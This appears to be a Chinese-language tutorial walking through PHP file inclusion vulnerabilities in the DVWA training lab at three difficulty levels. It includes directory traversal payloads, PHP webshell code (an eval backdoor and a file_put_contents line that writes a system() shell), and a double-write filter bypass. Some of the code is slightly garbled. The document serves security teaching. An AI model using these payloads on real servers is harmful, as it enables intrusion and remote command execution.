文件包含漏洞

1、文件包含漏洞简介

当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)

(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)

2、【DVWA】之文件包含

未启用allow_url_include函数,初次进入报错

在设置中找到对应版本,将其中allow_url_include打开,重启

报错消失

Low

查看源代码

无任何防护

点击file1.php。

图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

1、本地文件包含

通过修改参数尝试获取当前目录其他文件

通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:

①绝对路径

?page=E:/software/test1.txt

②相对路径

?page=../../../../../../../test1.txt

注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的

信息算,或者一个一个摸索。

2、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。

在kali中www下创建两个文件,并开启apache服务

systemctl start apache2

cd /var/www/html

vim test.txt

hello~~~

vim test2.txt
<?php

@eval($_POST'cmd');

echo '123';

?>

注: 服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

通过远程文件包含加载攻击者主机上的恶意代码

1.创建包含恶意攻击的代码文件

<?php echo file_put_contents("cmd.php","<?=system($_GET"cmd");?>');?>

//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码

//当这段 PHP 代码被执行后,会在当前目录下创建一个名为 cmd.php 的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问 cmd.php 并传入cmd参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。

访问成功后,查看根目录

包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。

cmd利用:
shell利用:

打开蚁剑

Medium

查看源码,str_replace()函数对"http://"、"https://"、"../"、"..\"进行了过滤删除。

那么我们可以访问绝对路径

?page=E:/test.txt

也可以使用双写绕过:

?page=hhttp://ttp://www.baidu.com

利用:

shell的利用和low一样

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以"file"开头,服务器才会包含相应的文件

  • 验证规则 :
    • fnmatch("file*", $file):检查文件名是否以file开头(如file1.php、file2.txt)。
    • $file != "include.php":允许直接访问include.php文件。
  • 目的 :只允许访问以file开头的文件或include.php,防止访问其他敏感文件(如配置文件、数据库等)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

相关推荐
文章永久免费只为良心2 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全3 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全4 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全4 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全5 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全5 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全8 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑11 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC16 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全
白猫不黑1 个月前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试